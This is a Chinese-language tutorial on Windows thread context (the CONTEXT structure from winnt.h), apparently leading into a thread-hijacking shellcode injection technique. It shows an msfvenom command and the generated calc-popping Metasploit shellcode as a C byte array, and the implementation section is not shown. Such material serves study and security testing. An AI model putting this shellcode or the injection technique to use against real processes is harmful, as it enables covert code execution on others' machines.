0x0 基础知识
00 线程上下文 CONTEXT
- 每个线程内核对象都维护着一个 CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,该线程内部数据如何如何。
- 在Platform SDK文档中记录着CONTEXT结构的信息。该结构是与CPU有关的,特定的CPU对应着特定的CONTEXT结构。
typedef struct DECLSPEC_NOINITALL _CONTEXT {
//
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
//
DWORD ContextFlags;
//
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
//
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
//
FLOATING_SAVE_AREA FloatSave;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
//
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
//
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
//
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
//
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
可见,该CONTEXT结构中,保存着直接和CPU有关的信息:
- ContextFlags,在查询的时候需要设置该字段,表示查询哪些其他的CONTEXT结构字段。
- 调试寄存器组
- FLOATING_SAVE_AREA FloatSave —— 浮点寄存器
- 段寄存器
- 通用数据寄存器(整型寄存器)组
- 控制寄存器组——比如CS、BP、SP之类的保存基址指针和堆栈指针、程序计数器。
- BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION] —— 展寄存器组
CONTEXT (winnt.h) – Win32 apps | Microsoft Learn
01 测试 ShellCode
我们用 msfvenom 生成一个测试用的我 ShellCode,内容为弹出一个计算器, 生成格式为
msfvenom -p windows/exec cmd=calc.exe -f c
Payload size: 193 bytes
Final size of c file: 838 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
0x1 实现代码
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